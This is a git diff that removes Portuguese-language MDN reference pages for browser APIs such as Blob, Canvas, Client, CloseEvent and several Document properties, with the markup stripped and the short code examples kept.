The {{DOMxRef("Blob.Blob", "Blob()")}} constructor can create blobs from other objects. For example, to construct a blob from a JSON string:

- -
const obj = {hello: 'world'};
-const blob = new Blob([JSON.stringify(obj, null, 2)], {type : 'application/json'});
- -

Creating a URL representing the contents of a typed array

- -

The following code creates a JavaScript typed array and creates a new Blob containing the typed array's data. It then calls {{DOMxRef("URL.createObjectURL()")}} to convert the blob into a {{glossary("URL")}}.

- -

HTML

- -
<p>This example creates a typed array containing the ASCII codes
-   for the space character through the letter Z, then converts it
-   to an object URL. A link to open that object URL is created.
-   Click the link to see the decoded object URL.</p>
- -

JavaScript

- -

The main piece of this code for example purposes is the typedArrayToURL() function, which creates a Blob from the given typed array and returns an object URL for it. Having converted the data into an object URL, it can be used in a number of ways, including as the value of the {{HTMLElement("img")}} element's {{htmlattrxref("src", "img")}} attribute (assuming the data contains an image, of course).

- -
function typedArrayToURL(typedArray, mimeType) {
-  return URL.createObjectURL(new Blob([typedArray.buffer], {type: mimeType}))
-}
-
-const bytes = new Uint8Array(59);
-
-for(let i = 0; i < 59; i++) {
-  bytes[i] = 32 + i;
-}
-
-const url = typedArrayToURL(bytes, 'text/plain');
-
-const link = document.createElement('a');
-link.href = url;
-link.innerText = 'Open the array URL';
-
-document.body.appendChild(link);
- -

Result

- -

Click the link in the example to see the browser decode the object URL.

- -

{{EmbedLiveSample("Creating_a_URL_representing_the_contents_of_a_typed_array", 600, 200)}}

- -

Extracting data from a blob

- -

One way to read content from a Blob is to use a {{DOMxRef("FileReader")}}. The following code reads the content of a Blob as a typed array:

- -
const reader = new FileReader();
-reader.addEventListener('loadend', () => {
-   // reader.result contains the contents of blob as a typed array
-});
-reader.readAsArrayBuffer(blob);
- -

Another way to read content from a Blob is to use a {{domxref("Response")}}. The following code reads the content of a Blob as text:

- -
const text = await (new Response(blob)).text();
-
- -

Or by using {{DOMxRef("Blob.prototype.text()")}}:

- -
const text = await blob.text();
- -

By using other methods of FileReader, it is possible to read the contents of a Blob as a string or a data URL.

- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('File API', '#blob-section', 'The Blob interface')}}{{Spec2('File API')}}Initial definition.
- -

Browser compatibility

- - - -

{{Compat("api.Blob")}}

- -

See also

- - diff --git a/files/pt-pt/web/api/blob/size/index.html b/files/pt-pt/web/api/blob/size/index.html deleted file mode 100644 index fc6423a199..0000000000 --- a/files/pt-pt/web/api/blob/size/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Blob.size -slug: Web/API/Blob/size -tags: - - API - - Blob - - Bytes - - Ficheiros - - File API - - Propriedade - - Referencia - - length - - size -translation_of: Web/API/Blob/size ---- -
{{APIRef("File API")}}
- -

A propriedade size da interface do {{domxref("Blob")}} retorna o tamanho do {{domxref("Blob")}} ou {{domxref("File")}} em bytes.

- -

Sintaxe

- -
var sizeInBytes = blob.size
-
- -

Valor

- -

O número de bytes de dados contidos dentro do Blob (ou do objeto baseado em Blob, como um {{domxref("File")}}).

- -

Exemplo

- -

Este exemplo usa um {{HTMLElement("input")}} com os atributos type="file" e multiple para receber do utilizador um grupo de ficheiros, e depois um iterar sobre os ficheiros que emitem os seus nomes e comprimentos em bytes.

- -
// fileInput is a HTMLInputElement: <input type="file" multiple id="myfileinput">
-var fileInput = document.getElementById("myfileinput");
-
-// files is a FileList object (simliar to NodeList)
-var files = fileInput.files;
-
-for (var i = 0; i < files.length; i++) {
-  console.log(files[i].name + " has a size of " + files[i].size + " Bytes");
-}
- -

Especificações

- - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('File API', '#dfn-size', 'Blob.size')}}{{Spec2('File API')}}Definição inicial
- -

Compatibilidade

- -
- - -

{{Compat("api.Blob.size")}}

-
- -

Ver também

- - diff --git a/files/pt-pt/web/api/blob/type/index.html b/files/pt-pt/web/api/blob/type/index.html deleted file mode 100644 index 5744a80a5b..0000000000 --- a/files/pt-pt/web/api/blob/type/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Blob.type -slug: Web/API/Blob/type -tags: - - API - - Blob - - DOM - - File - - File API - - Formato - - MIME - - MIME Type - - Propriedade - - Referencia - - tipo -translation_of: Web/API/Blob/type ---- -
{{APIRef("File API")}}
- -

A propriade type do objeto {{domxref("Blob")}} devolve o {{Glossary("MIME type")}} do ficheiro.

- -

Sintaxe

- -
var mimetype = blob.type
- -

Valor

- -

Uma {{domxref("DOMString")}} que contem o MIME do ficheiro, ou uma string vazia se o tipo não consegue ser determinado.

- -

Exemplo

- -

Este exemplo pede ao utilizador que selecione uma série de ficheiros, depois verifica cada ficheiro para se certificar de que é um de um determinado conjunto de tipos de ficheiros de imagem.

- -
var i, fileInput, files, allowedFileTypes;
-
-// fileInput é um HTMLInputElement: <input type="file" multiple id="myfileinput">
-fileInput = document.getElementById("myfileinput");
-
-// files é um objeto FileList (parecido ao NodeList)
-files = fileInput.files;
-
-// a nossa aplicação só aceita imagens GIF, PNG, e JPEG
-allowedFileTypes = ["image/png", "image/jpeg", "image/gif"];
-
-for (i = 0; i < files.length; i++) {
-  // Testar se file.type é um dos MIME types permitidos.
-  if (allowedFileTypes.indexOf(files[i].type) > -1) {
-    // file.type é válido
-  }
-});
-
- -

Especificações

- - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('File API', '#dfn-type', 'Blob.type')}}{{Spec2('File API')}}Definição inicial.
- -

Compatibilidade

- -
- - -

{{Compat("api.Blob.type")}}

-
- -

Ver também

- - diff --git a/files/pt-pt/web/api/canvas_api/index.html b/files/pt-pt/web/api/canvas_api/index.html deleted file mode 100644 index 2118f051c5..0000000000 --- a/files/pt-pt/web/api/canvas_api/index.html +++ /dev/null @@ -1,248 +0,0 @@ ---- -title: API de Canvas -slug: Web/API/Canvas_API -translation_of: Web/API/Canvas_API -original_slug: Web/API/API_de_canvas ---- -
{{CanvasSidebar}}
- -

Added in HTML5, the HTML {{HTMLElement("canvas")}} element can be used to draw graphics via scripting in JavaScript. For example, it can be used to draw graphs, make photo compositions, create animations, or even do real-time video processing or rendering.

- -

Mozilla applications gained support for <canvas> starting with Gecko 1.8 (i.e. Firefox 1.5). The element was originally introduced by Apple for the OS X Dashboard and Safari. Internet Explorer supports <canvas> from version 9 onwards; for earlier versions of IE, a page can effectively add support for <canvas> by including a script from Google's Explorer Canvas project. Google Chrome and Opera 9 also support <canvas>.

- -

The <canvas> element is also used by WebGL to draw hardware-accelerated 3D graphics on web pages.

- -

Exemplo

- -

This is just a simple code snippet which uses the {{domxref("CanvasRenderingContext2D.fillRect()")}} method.

- -

HTML

- -
<canvas id="canvas"></canvas>
-
- -

JavaScript

- -
var canvas = document.getElementById('canvas');
-var ctx = canvas.getContext('2d');
-
-ctx.fillStyle = 'green';
-ctx.fillRect(10, 10, 100, 100);
-
- -

Edit the code below and see your changes update live in the canvas:

- - - -

{{ EmbedLiveSample('Playable_code', 700, 360) }}

- -

Referência

- -
-
    -
  • {{domxref("HTMLCanvasElement")}}
  • -
  • {{domxref("CanvasRenderingContext2D")}}
  • -
  • {{domxref("CanvasGradient")}}
  • -
  • {{domxref("CanvasImageSource")}}
  • -
  • {{domxref("CanvasPattern")}}
  • -
  • {{domxref("ImageBitmap")}}
  • -
  • {{domxref("ImageData")}}
  • -
  • {{domxref("RenderingContext")}}
  • -
  • {{domxref("TextMetrics")}}
  • -
  • {{domxref("OffscreenCanvas")}}{{experimental_inline}}
  • -
  • {{domxref("Path2D")}} {{experimental_inline}}{{domxref("ImageBitmapRenderingContext")}}{{experimental_inline}}
  • -
-
- -

The interfaces related to the WebGLRenderingContext are referenced under WebGL.

- -

{{domxref("CanvasCaptureMediaStream")}} is related.

- -

Guias e tutoriais

- -
-
Canvas tutorial
-
A comprehensive tutorial covering both the basic usage of <canvas> and its advanced features.
-
Code snippets: Canvas
-
Some extension developer-oriented code snippets involving <canvas>.
-
Demo: A basic ray-caster
-
A demo of ray-tracing animation using canvas.
-
Drawing DOM objects into a canvas
-
How to draw DOM content, such as HTML elements, into a canvas.
-
Manipulating video using canvas
-
Combining {{HTMLElement("video")}} and {{HTMLElement("canvas")}} to manipulate video data in real time.
-
- -

Recursos

- -

Genérico

- - - -

Bibliotecas

- -
    -
  • Fabric.js is an open-source canvas library with SVG parsing capabilities.
  • -
  • Kinetic.js is an open-source canvas library focused on interactivity for desktop and mobile applications.
  • -
  • Paper.js is an open source vector graphics scripting framework that runs on top of the HTML5 Canvas.
  • -
  • Origami.js is an open source lightweight canvas library.
  • -
  • libCanvas is powerful and lightweight canvas framework.
  • -
  • Processing.js is a port of the Processing visualization language.
  • -
  • PlayCanvas is an open source game engine.
  • -
  • Pixi.js is an open source game engine.
  • -
  • PlotKit is a charting and graphing library.
  • -
  • Rekapi is an animation key-framing API for Canvas.
  • -
  • PhiloGL is a WebGL framework for data visualization, creative coding and game development.
  • -
  • JavaScript InfoVis Toolkit creates interactive 2D Canvas data visualizations for the Web.
  • -
  • EaselJS is a free/open source library to make it easier to use canvas for games and art
  • -
  • Scrawl-canvas is another open-source javascript library for creating and manipulating 2d canvas elements
  • -
  • heatmap.js is an open source library to create canvas based heatmaps
  • -
- -

Especificações

- - - - - - - - - - - - - - - - -
EpecificaçãoEstadoComentário
{{SpecName('HTML WHATWG', 'scripting.html#the-canvas-element', '<canvas>')}}{{Spec2('HTML WHATWG')}} 
- -

Consulte também

- -
    -
  • WebGL (Biblioteca de Gráficos da Web)
  • -
- -
- - - - - -
diff --git a/files/pt-pt/web/api/canvas_api/tutorial/index.html b/files/pt-pt/web/api/canvas_api/tutorial/index.html deleted file mode 100644 index cad5f41e2b..0000000000 --- a/files/pt-pt/web/api/canvas_api/tutorial/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Tutorial de Canvas -slug: Web/API/Canvas_API/Tutorial -tags: - - Canvas - - Guía - - HTML - - HTML5 - - Intermediário - - Web - - graficos -translation_of: Web/API/Canvas_API/Tutorial -original_slug: Web/API/API_de_canvas/Tutorial ---- -
{{CanvasSidebar}}
- -
- -
-

<canvas> is an HTML element which can be used to draw graphics via scripting (usually JavaScript). This can, for instance, be used to draw graphs, make photo composition or simple (and not so simple) animations. The images on this page show examples of <canvas> implementations which will be created in this tutorial.

-
- -

This tutorial describes how to use the <canvas> element to draw 2D graphics, starting with the basics. The examples provided should give you some clear ideas what you can do with canvas and will provide code snippets that may get you started in building your own content.

- -

First introduced in WebKit by Apple for the OS X Dashboard, <canvas> has since been implemented in browsers. Today, all major browsers support it.

- -

Antes de começar

- -

Using the <canvas> element is not very difficult, but you do need a basic understanding of HTML and JavaScript. The <canvas> element is not supported in some older browsers, but is supported in recent versions of all major browsers. The default size of the canvas is 300 px × 150 px (width × height). But custom sizes can be defined using the HTML height and width property. In order to draw graphics on the canvas we use a JavaScript context object, which creates graphics on the fly.

- -

Neste tutorial

- - - -

Consulte também:

- - - -

Uma nota para os colaboradores

- -

Due to an unfortunate technical error that occurred the week of June 17, 2013, we lost the history of this tutorial, including attributions to all past contributors to its content. We apologize for this, and hope you'll forgive this unfortunate mishap.

- -
{{ Next("Web/API/Canvas_API/Tutorial/Basic_usage") }}
diff --git a/files/pt-pt/web/api/client/index.html b/files/pt-pt/web/api/client/index.html deleted file mode 100644 index 267c1fafc4..0000000000 --- a/files/pt-pt/web/api/client/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Client -slug: Web/API/Client -tags: - - API - - Client - - Experimental - - Interface - - Referencia - - Service Workers - - Service worker API - - ServiceWorkerClient - - ServiceWorkers -translation_of: Web/API/Client ---- -

{{SeeCompatTable}}{{APIRef("Service Workers API")}}

- -

A interface de Client representa um contexto executável, tal como um {{domxref("Worker")}}, ou um {{domxref("SharedWorker")}}. Os {{domxref("Window")}} clients são representados pelo mais específico {{domxref("WindowClient")}}. Pode obter os objetos Client/WindowClient a partir dos métodos, tais como {{domxref("Clients.matchAll","Clients.matchAll()")}} e {{domxref("Clients.get","Clients.get()")}}.

- -

Métodos

- -
-
{{domxref("Client.postMessage()")}}
-
Sends a message to the client.
-
- -

Propriedades

- -
-
{{domxref("Client.id")}} {{readonlyInline}}
-
The universally unique identifier of the client as a string.
-
{{domxref("Client.type")}} {{readonlyInline}}
-
The client's type as a string. It can be "window", "worker", or "sharedworker".
-
{{domxref("Client.url")}} {{readonlyInline}}
-
The URL of the client as a string.
-
- -

Especificações

- - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('Service Workers', '#client', 'Client')}}{{Spec2('Service Workers')}}Definitição inicial.
- -

Compatibilidade de Navegador

- - - -

{{Compat("api.Client")}}

- -

Consulte também:

- - diff --git a/files/pt-pt/web/api/closeevent/closeevent/index.html b/files/pt-pt/web/api/closeevent/closeevent/index.html deleted file mode 100644 index b12c9d211e..0000000000 --- a/files/pt-pt/web/api/closeevent/closeevent/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: CloseEvent() -slug: Web/API/CloseEvent/CloseEvent -tags: - - API - - CloseEvent - - Construtor - - Referencia -translation_of: Web/API/CloseEvent/CloseEvent ---- -
{{APIRef("Websockets API")}}
- -

O construtor CloseEvent() cria um novo {{domxref("CloseEvent")}}.

- -

Sintaxe

- -
var event = new CloseEvent(typeArg, closeEventInit);
- -

Valores

- -
-
typeArg
-
É uma {{domxref("DOMString")}} que representa o nome do evento.
-
closeEventInit {{optional_inline}}
-
- -
-
É um dicionário CloseEventInit, com os seguintes campos: - -
    -
  • "wasClean", opcional e pré-definido como false, do tipo long, indica se a conexão foi terminada de forma limpa ou não.
  • -
  • "code", opcional e pré-definido como 0, do tipo unsigned short, é o código de estado do encerrar da conexão enviada pelo servidor.
  • -
  • "reason", opcional e pré-definido como '', do tipo {{domxref("DOMString")}}, é a razão por qual o servidor terminou a conexão escrita para humanos.
  • -
- -
-

O dicionário CloseEventInit também aceita campos do dicionário {{domxref("Event.Event", "EventInit")}}.

-
-
-
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('HTML WHATWG','comms.html#closeevent','CloseEvent()')}}{{Spec2('HTML WHATWG')}}Definição inicial.
- -

Compatibilidade

- - - -

{{Compat("api.CloseEvent.CloseEvent")}}

- -

Ver também

- -
    -
  • {{domxref("CloseEvent")}}, a interface dos objetos criados pelo construtor.
  • -
diff --git a/files/pt-pt/web/api/closeevent/index.html b/files/pt-pt/web/api/closeevent/index.html deleted file mode 100644 index 5cece5fd2b..0000000000 --- a/files/pt-pt/web/api/closeevent/index.html +++ /dev/null @@ -1,195 +0,0 @@ ---- -title: CloseEvent -slug: Web/API/CloseEvent -tags: - - API - - Interface - - Referencia - - Web - - WebSocket - - WebSockets -translation_of: Web/API/CloseEvent ---- -
{{APIRef("Websockets API")}}
- -

Um CloseEvent é enviado a clientes usando {{Glossary("WebSockets")}} quando a conexão é terminada. É enviado ao listner indicado pelo atributo onclose de objeto WebSocket.

- -

Construtor

- -
-
{{domxref("CloseEvent.CloseEvent", "CloseEvent()")}}
-
Cria um novo CloseEvent.
-
- -

Propriedades

- -

Esta interface também herda propriedades do {{domxref("Event")}} de qual se deriva.

- -
-
{{domxref("CloseEvent.code")}} {{readOnlyInline}}
-
Devolve uma unsigned short que contem o código enviado pelo servidor. Os seguintes valores são os códigos de estado permitidos, as definições foram traduzidas a partir do site da IANA. Note que os códigos 1xxx são só usados internamente pelo WebSocket e não para uso com os dados transportados (como quando o protocolo da aplicação é invalido). Os únicos códigos que podem ser especificados no Firefox são o código 1000 e a série de 3000 a 4999 inclusivo [Fonte, Bug].
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CódigoNomeDescrição
0999Reservado e não utilizado.
1000Normal Closure -

Encerramento normal; a conexão completou a tarefa para qual foi criada.

-
1001Going Away -

O terminal está a desaparecer, seja devido a uma falha do servidor ou porque o navegador está a navegar para longe da página que abriu a ligação.

-
1002Protocol ErrorO terminal está a terminar a conexão devido a um erro de protocolo.
1003Unsupported DataA conexão está a ser terminada porque o terminal recebeu dados num formato que não aceita (por exemplo um terminal de texto receber dados binarios).
1004Reservado. Uma definição pode ser atribuída no futuro.
1005No Status ReceivedReservado.  Indica que nenhum código de estado foi oferecido, apesar de ser esperado um código.
1006Abnormal ClosureReservado. Usado para indicar que a conexão fechou anormalmente (isto é, sem uma close frame ser enviada) quando um código era esperado.
1007Invalid frame payload dataO terminal está a terminar a conexão porque a mensagem continha dados inconsistentes (e.x. dados não codificados em UTF-8 numa mensagem de texto).
1008Policy ViolationO terminal está a terminar a conexão porque recebeu uma mensagem que viola a sua política. Isto é um código genérico, usado quando os códigos 1003 e 1009 não são apropriados à situação.
1009Message too bigO terminal está a terminar a conexão porque o data frame recebido é demasiado grande.
1010Missing ExtensionO cliente está a terminar a conexão porque esperava que o servidor negociasse uma ou mais extensões, mas não o fez.
1011Internal ErrorO servidor está a terminar a conexão porque encontrou uma condição inesperada que a impede de completar o pedido.
1012Service RestartO servidor está a terminar a conexão porque está a reiniciar. [Ref]
1013Try Again LaterO servidor está a terminar a conexão devido a uma condição temporária, por exemplo está sobrecarregado e está a reduzir o número de clientes. [Ref]
1014Bad GatewayO servidor está a agir como uma gateway ou proxy e recebeu uma resposta inválida dum servidor mais adiante na conexão. Isto é parecido com o código de estado HTTP 502.
1015TLS HandshakeReservado. Indica que a conexão foi terminada devido a uma falha na execução de um aperto de mão TLS (por exemplo, o certificado do servidor não pode ser verificado).
10161999Reservado para o futuro uso de padrões WebSocket.
20002999Reservado para uso de extensões de WebSocket.
30003999Disponivel para uso por bibliotecas e frameworks. Não é para ser utilizado por aplicações. Disponível para registo através da IANA de forma de primeiro a chegar primeiro servido.
40004999Disponível para uso por aplicações.
-
-
{{domxref("CloseEvent.reason")}} {{readOnlyInline}}
-
Devolve uma {{domxref("DOMString")}} a indicar a razão por qual o servidor terminou a conexão. Isto é específico ao servidor e sub-protocolo.
-
{{domxref("CloseEvent.wasClean")}} {{readOnlyInline}}
-
Devolve um {{jsxref("Boolean")}} que indica se a conexão não foi terminada de forma limpa.
-
- -

Métodos

- -

Esta interface também herda métodos de {{domxref("Event")}} de qual se deriva.

- -
-
{{domxref("CloseEvent.initCloseEvent()")}} {{Non-standard_inline}} {{Obsolete_inline}}
-
Inicializa o valor de um CloseEvent. Se o evento já foi enviado, o método não faz nada. Este método é obsoleto, use antes o construtor {{domxref("CloseEvent.CloseEvent", "CloseEvent()")}}.
-
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{ SpecName('HTML WHATWG', 'web-sockets.html#the-closeevent-interface', 'CloseEvent') }}{{ Spec2('HTML WHATWG') }}Definição inicial.
- -

Compatibilidade

- - - -

{{Compat("api.CloseEvent")}}

- -

Ver também

- -
    -
  • {{domxref("WebSocket")}}
  • -
diff --git a/files/pt-pt/web/api/document/alinkcolor/index.html b/files/pt-pt/web/api/document/alinkcolor/index.html deleted file mode 100644 index 790a1cda4a..0000000000 --- a/files/pt-pt/web/api/document/alinkcolor/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: document.alinkColor -slug: Web/API/Document/alinkColor -tags: - - DOM - - DOM 0 - - Gecko - - Referência_do_DOM_Gecko -translation_of: Web/API/Document/alinkColor -original_slug: DOM/document.alinkColor ---- -
-
-

« Referência do DOM Gecko

-
-

Sumário

-

 

-
-

Obsoleto

-
- Retorna ou define a cor de um link ativo no corpo do documento. Um link é ativo durante o tempo entre mousedown mouseup eventos. -

 

-
-
-

Sintaxe

-
document.alinkColor = cor
-
-

color é uma string contendo o nome da cor (em inglês), (por exemplo, "blue", "darkblue", etc) ou o valor em hexadecimal (por exemplo, #0000FF)

-
-
-

Notas 

-

O valor padrão para essa propriedade no Mozilla Firefox é o vermelho (#ee0000 em hexadecimal).

-

document.alinkColor é substituído no DOM Nível 2 HTML . Uma alternativa é o seletor CSS :active.

-

Outra alternativa é document.body.aLink, embora isso seja obsoleto em HTML 4.01, em favor da alternativa de CSS.

-

Gecko suporta tanto alinkColor / :active e :focus. Internet Explorer 6 e 7 suportam alinkColor / :active apenas para âncora HTML (<a>) links e o comportamento é o mesmo que :focus em Gecko. Não há suporte para :focus no IE.

-
-
-

Especificação

-

DOM Nível 0. Não faz parte do padrão.

-

MSDN - propriedade :alinkColor

-
-
-
-

 

diff --git a/files/pt-pt/web/api/document/bgcolor/index.html b/files/pt-pt/web/api/document/bgcolor/index.html deleted file mode 100644 index db838f4f96..0000000000 --- a/files/pt-pt/web/api/document/bgcolor/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: document.bgColor -slug: Web/API/Document/bgColor -tags: - - DOM - - DOM 0 - - Gecko - - Referência_do_DOM_Gecko -translation_of: Web/API/Document/bgColor -original_slug: DOM/document.bgColor ---- -
-
-

« Referência do DOM Gecko

-
-

Sumário

-

 

-
-

Obsoleto

-
- bgColor obtém / define a cor de fundo do documento atual. -

 

-
-
-

Sintaxe

-
document.bgColor = cor
-
-
-
-

Parâmetros

-
    -
  • color é uma seqüência que representa a cor como uma palavra (em inglês) (por exemplo, "red") ou valor em hexadecimal (por exemplo, "#Ff0000").
  • -
-
-
-

Exemplo

-
document.bgColor = "darkblue"; 
-
-
-
-

Notas

-

O valor padrão para essa propriedade no Mozilla Firefox é branco (#ffffff em hexadecimal).

-

document.bgColor é substituído no DOM Nível 2 HTML . A alternativa recomendada é o uso do estilo CSS background-color que pode ser acessada através do DOM com document.body.style.backgroundColor. Outra alternativa é document.body.bgColor, embora este também seja obsoleto em HTML 4.01 em favor da alternativa de CSS.

-

 

-
-
-

Especificação

-

DOM Nível 0. Não faz parte do padrão .

-

MSDN: Propriedade bgColor

-
-
-
- -

 

diff --git a/files/pt-pt/web/api/document/cookie/index.html b/files/pt-pt/web/api/document/cookie/index.html deleted file mode 100644 index 97525e2e5a..0000000000 --- a/files/pt-pt/web/api/document/cookie/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: document.cookie -slug: Web/API/Document/cookie -translation_of: Web/API/Document/cookie -original_slug: DOM/document.cookie ---- -
-
-

« Referência do DOM Gecko

- -
-

Sumário

- -

Obter e definir os cookies associados com o documento atual.

-
- -
-

Sintaxe

- -
allCookies = document.cookie;
- -
    -
  • allCookies é uma string contendo uma lista separada por vírgula de "cookies" (isto é, chave valor pares).
  • -
- -
updatedCookie = document.cookie;
- -
    -
  • -
    updatedCookie é uma string de forma chave valor. Observe que você só pode definir / atualizar um cookie de cada vez usando esse método.
    -
  • -
- -
    -
  • Qualquer um dos seguintes valores de atributo cookie pode, opcionalmente, seguir o valor-chave par, especificando o cookie para definir / atualizar, e precedido por um ponto e vírgula : -
      -
    • ;path = caminho (Por exemplo, '/' , '/meuDiretorio' ). Se não for especificado, o padrão é o caminho atual do local do documento atual.
    • -
    • ;domain = domínio (por ex, 'exemplo1.com ', '.exemplo1.com', (inclui todos os subdomínios ), 'subdominio.exemplo1.com'). Se não for especificado, o padrão é a parte do host local do documento atual.
    • -
    • ;max-age = maxima-idade-em-segundos (Por exemplo, 60 * 60 * 24 * 365 para um ano)
    • -
    • ;expires = data-em-formato-GMTString (Poderia usar Date.toGMTString, agora obsoleto). Se não for especificado ele expira no final da sessão.
    • -
    • ;secure (cookie só podem ser transmitidos através do protocolo seguro como https)
    • -
    -
  • -
- -
    -
  • A cadeia de valor do cookie pode usar encodeURIComponent() para garantir que a cadeia não contenha nenhuma vírgula, ponto-e-vírgula, ou espaços em branco (que não são permitidos nos valores de cookie).
  • -
-
- -
-

Exemplo

- -
-
    -
  1. document.cookie = "nome = Italo";
  2. -
  3. document.cookie = "comida_favorita = lasanha";
  4. -
  5. alert(document.cookie);
  6. -
  7. // Mostra: nome = Italo; comida_favorita = lasanha
  8. -
-
-
- -
-

Segurança

- -

É importante notar que o path não protege contra a leitura não autorizada do cookie de um caminho diferenteEle pode ser facilmente contornado com DOM simples (por exemplo, a criação de um elemento iframe oculto com o caminho do cookie, e depois aceder a este iframe contentDocument.cookiepropriedade). Ele pode ser facilmente (por exemplo, a criação de um elemento o caminho do cookie, e depois aceder a este A única maneira de proteger o acesso "cookie" é usando um domínio ou subdomínio diferente , devido à política de mesma origem.

-
- -
-

Notas

- -
Edit section
- -

Começando com o Firefox 2, a melhor mecanismo para o lado de armazenamento do cliente está disponível - WHATWG DOM Storage com o Firefox 2, a para o lado de armazenamento do cliente está disponível.

-
- -
-

Especificação

- -

DOM Level 2: HTMLDocument.cookie

-
-
-
- -

 

diff --git a/files/pt-pt/web/api/document/dir/index.html b/files/pt-pt/web/api/document/dir/index.html deleted file mode 100644 index a4001b4322..0000000000 --- a/files/pt-pt/web/api/document/dir/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Document.dir -slug: Web/API/Document/dir -tags: - - API - - DOM - - HTML - - dir - - ltr - - rtl -translation_of: Web/API/Document/dir -original_slug: Web/API/Document.dir ---- -

{{Apiref("Document")}}{{non-standard_header}}

-

A propriedade Document.dir é uma {{domxref("DOMString")}} que representa a direccionalidade do texto do documento, quer seja da esquerda para a direita (por omissão) ou da direita para a esquerda. Os valores possíveis são 'rtl', da direita para a esquerda e 'ltr', da esquerda para a direita.

-

Síntaxe

-
dirStr = document.dir;
-document.dir = dirStr;
-
-

Especificações

-

Este atributo, apesar de implementado por diversos browsers não faz parte de nenhuma especificação.

-

Compatibilidade por browser

-

{{ CompatibilityTable() }}

-
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Suporte básico{{CompatUnknown}}{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
-
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Suporte básico{{ CompatUnknown() }}{{CompatVersionUnknown}} [1]{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
-

[1] Antes do Firefox 23, a propriedade document.dir retornava "ltr" independentemente do valor atribuido a dir na raiz do elemento {{htmlelement("html")}}. Caso a direcção fosse definida no nó <html>, document.dir não teria qualquer efeito em alterá-la visivelmente (apesar disto, a obtenção da propriedade document.dir iria indicar que a direcção teria sido alterada). Contudo, se o atributo dir estiver definido no elemento <html> e for alterado, quer a direccionalidade do documento quer a propriedade document.dir irão reflectir a mudança.

-

Ver também

- diff --git a/files/pt-pt/web/api/document/getelementsbyclassname/index.html b/files/pt-pt/web/api/document/getelementsbyclassname/index.html deleted file mode 100644 index 84b663c83b..0000000000 --- a/files/pt-pt/web/api/document/getelementsbyclassname/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: document.getElementsByClassName -slug: Web/API/Document/getElementsByClassName -tags: - - Referência_do_DOM_Gecko -translation_of: Web/API/Document/getElementsByClassName -original_slug: DOM/document.getElementsByClassName ---- -

{{ ApiRef() }}

- -

Resumo

- -

Retorna um conjunto de elementos com o nome de classe fornecido. Quando chamado no objeto document, todo o documento é pesquisado incluindo o nó raiz. Você pode chamar também getElementsByClassName em qualquer elemento; isso retornará apenas elementos sob o elemento raiz especificado com o nome de classe fornecido.

- -

Sintaxe

- -
elementos = document.getElementsByClassName(nome) // ou:elementos = elementoRaiz.getElementsByClassName(nome)
-
- -
    -
  • elementos é um NodeList vivo de elementos encontrados na ordem que aparecem na árvore.
  • -
  • nome é umastring representando um nome de classe dos elementos.
  • -
  • getElementsByClassName pode ser chamado em qualquer elemento, não apenas no document. O elemento em que é chamado será usado como a raiz da pesquisa.
  • -
- -

Exemplos

- -

Devolve todos os elementos que têm a classe 'teste':

- -
 document.getElementsByClassName('teste')
-
- -

Devolve todos os elementos que têm as classes 'vermelho' e 'teste':

- -
 document.getElementsByClassName('vermelho teste')
-
- -

Devolve todos os elementos que têm a classe 'teste', dentro de um elemento que tem o ID 'principal':

- -
 document.getElementById('principal').getElementsByClassName('teste')
-
- -

E se formos adiante e adicionarmos extras do Array do JavaScript 1.6, podemos fazer algumas combinações realmente boas.

- -

Encontre todos os elementos div que têm a classe 'teste'

- -
 Array.filter( document.getElementsByClassName('teste'), function(elem){
-   return elem.nodeName == 'DIV';
- });
-
- -

Encontre todos os elementos que têm a classe 'teste' (como faz seu elemento pai)

- -
 var teste = document.getElementsByClassName('teste');
- Array.filter( teste, function(elem){
-   return Array.indexOf( teste, elem.parentNode ) > -1;
- });
-
- -

XXX escreva-me == Notas == Um método similar existe em <code>Element</code>

- -

Especificação

- -

WHATWG Web Applications 1.0: getElementsByClassName

- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/DOM/document.getElementsByClassName", "fr": "fr/DOM/document.getElementsByClassName" } ) }}

diff --git a/files/pt-pt/web/api/document/index.html b/files/pt-pt/web/api/document/index.html deleted file mode 100644 index c6c9e72b47..0000000000 --- a/files/pt-pt/web/api/document/index.html +++ /dev/null @@ -1,458 +0,0 @@ ---- -title: Document -slug: Web/API/Document -tags: - - API - - DOM - - Documento - - Interface - - Referencia -translation_of: Web/API/Document ---- -
{{APIRef}}
- -
 
- -

A interface Document representa qualquer página da Web carregada no navegador e serve como um ponto de entrada para um conteúdo da página da Web, que é árvore DOM. A árvore DOM inclui elementos, tais como {{HTMLElement("body")}} e {{HTMLElement("table")}}, entre muitos outros. Este fornece funcionalidade globalmente para o documento, tal como obter o URL da página e criar novos elementos no documento.

- -

{{inheritanceDiagram}}

- -

